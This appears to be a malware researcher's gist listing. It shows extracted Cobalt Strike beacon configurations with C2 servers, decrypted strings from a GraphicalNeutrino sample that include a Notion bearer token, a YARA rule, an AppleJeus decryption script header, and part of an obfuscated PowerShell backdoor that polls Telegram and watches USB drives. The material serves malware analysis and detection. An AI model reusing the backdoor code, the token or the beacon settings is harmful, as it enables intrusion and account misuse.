usualsuspect
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| BeaconType - HTTPS | |
| Port - 443 | |
| SleepTime - 165000 | |
| MaxGetSize - 2097223 | |
| Jitter - 77 | |
| MaxDNS - Not Found | |
| PublicKey_MD5 - 59c484f9028a06073eb133568ef23de1 | |
| C2Server - content.api.nytimes.com,/caa09abd7511/XNc549Rf1p3VXb6h2g8q9ey6pp,csp.nytimes.com,/caa09abd7511/eXlTjaR3heoufbSNC-H4EJbCnOqpn | |
| UserAgent - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 | |
| HttpPostUri - /921d522938b2/GmFoRGmqwNIbBmPUEKtJE |
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| BeaconType - HTTPS | |
| Port - 443 | |
| SleepTime - 60000 | |
| MaxGetSize - 1398104 | |
| Jitter - 30 | |
| MaxDNS - Not Found | |
| PublicKey_MD5 - 4dbaa2821fcfa995554ad7612a869a6d | |
| C2Server - exdiy.com,/web/portal | |
| UserAgent - Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 | |
| HttpPostUri - /logon/index.php |
usualsuspect
/ strings.txt
Created
March 6, 2023 11:30
Decrypted strings for GraphicalNeutrino sample e957326b2167fa7ccd508cbf531779a28bfce75eb2635ab81826a522979aeb98
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| Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36 | |
| c:\windows\system32\ | |
| content-type: application/json | |
| accept: application/json | |
| notion-version: 2022-06-28 | |
| authorization: Bearer secret_X92sXCVWoTk63aPgGKlPBBmHVmuKXJ2geugKa7Ogj7s | |
| api.notion.com | |
| GetProcessImageFileNameA | |
| RegOpenKeyExA | |
| RegSetValueExA |
usualsuspect
/ zip_ext.yara
Last active
December 24, 2022 04:57
YARA rule to match zips containing specific file extensions
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| rule zip_with_ext | |
| { | |
| meta: | |
| author = "@jaydinbas" | |
| description = "Only match zip files containing desired file extensions" | |
| strings: | |
| $file_sig = "PK\x03\x04" //zip header sig | |
| $entry_sig = "PK\x01\x02" //ZIPDIRENTRY sig |
usualsuspect
/ config.txt
Created
December 22, 2022 15:49
OBRELA SECURITY INDUSTRIES SINGLE MEMBER Cobalt Strike
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| BeaconType - SMB | |
| Port - 4444 | |
| SleepTime - 10000 | |
| MaxGetSize - 2097152 | |
| Jitter - 0 | |
| MaxDNS - 0 | |
| PublicKey_MD5 - 5b37cfe101c82935e6034078db979280 | |
| C2Server - | |
| UserAgent - | |
| HttpPostUri - |
usualsuspect
/ applejeus_custom_string_dec.py
Created
December 2, 2022 04:34
AppleJeus malware custom string decryption
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| #!/usr/bin/env python3 | |
| # | |
| # Author: @jaydinbas | |
| # | |
| # Custom string decryption used by AppleJeus malware | |
| # See https://www.volexity.com/blog/2022/12/01/buyer-beware-fake-cryptocurrency-applications-serving-as-front-for-applejeus-malware/ | |
| # | |
| # Reference sample: 9352625b3e6a3c998e328e11ad43efb5602fe669aed9c9388af5f55fadfedc78 | |
| # Found in function sub_180001830 |
usualsuspect
/ core.ps1
Created
November 25, 2022 17:24
Unknown PowerShell backdoor using Telegram/GitHub
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| (('[Net.ServicePointManager]::Se'+'curityProtocol=[Net.SecurityProtocolType]::Tls12; | |
| NyQErrorActionPreference=zCwContinuezCw; | |
| NyQa=zCwap'+'i.telegram.orgzCw; | |
| do{Slee'+'p(Get-Random 100)}while'+'((iwr NyQa).StatusCode -ne 20'+'0) | |
| NyQ'+'Query = zCwselect * from __InstanceCreationE'+'vent within 5 where Target'+'Instance'+' ISA sn4Win32_LogicalDisk'+'sn4 and TargetInstance.DriveType = 2zCw; | |
| Ny'+'QAction = { | |
| (gwmi cim_logicaldiskugE?{(NyQ_.drivetype -eq 2)-and(T'+'est-path '+'z'+'CwNyQ(NyQ_.dev'+'iceid)byfzCw)'+'}).DeviceIDugE%'+'{ | |
| '+' if(NyQnull'+' -eq NyQ_){return} | |
| '+' | |
| try{Expand-Archive -Path zCwNyQenv:tempbyfxxx.zipzCw -DestinationPath zCwNyQenv:te'+'mpzCw -force}catch{ |
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| BeaconType - HTTP | |
| Port - 80 | |
| SleepTime - 30000 | |
| MaxGetSize - 1412693 | |
| Jitter - 37 | |
| MaxDNS - Not Found | |
| PublicKey_MD5 - 319f36ab624b44c836f42decabcfcb6c | |
| C2Server - solar.huawei.com,/audiencemanager.js | |
| UserAgent - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4044.62 Safari/537.36 | |
| HttpPostUri - /audiencemanager-v2.js |
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| BeaconType - HTTP | |
| Port - 80 | |
| SleepTime - 45000 | |
| MaxGetSize - 1403644 | |
| Jitter - 37 | |
| MaxDNS - Not Found | |
| PublicKey_MD5 - 005a71d162794e4bc436f8a38e017910 | |
| C2Server - 20.203.182.34,/jwquery-3.3.1.min.js | |
| UserAgent - Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko | |
| HttpPostUri - /jwquery-3.3.2.min.js |
usualsuspect
/ decrypted_strings.txt
Created
October 21, 2022 14:55
Unknown malware decrypted strings
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| Accept-Encoding | |
| gzip,deflate | |
| Method | |
| POST | |
| win | |
| desktop | |
| art-pc | |
| / | |
| id= | |
| &mail= |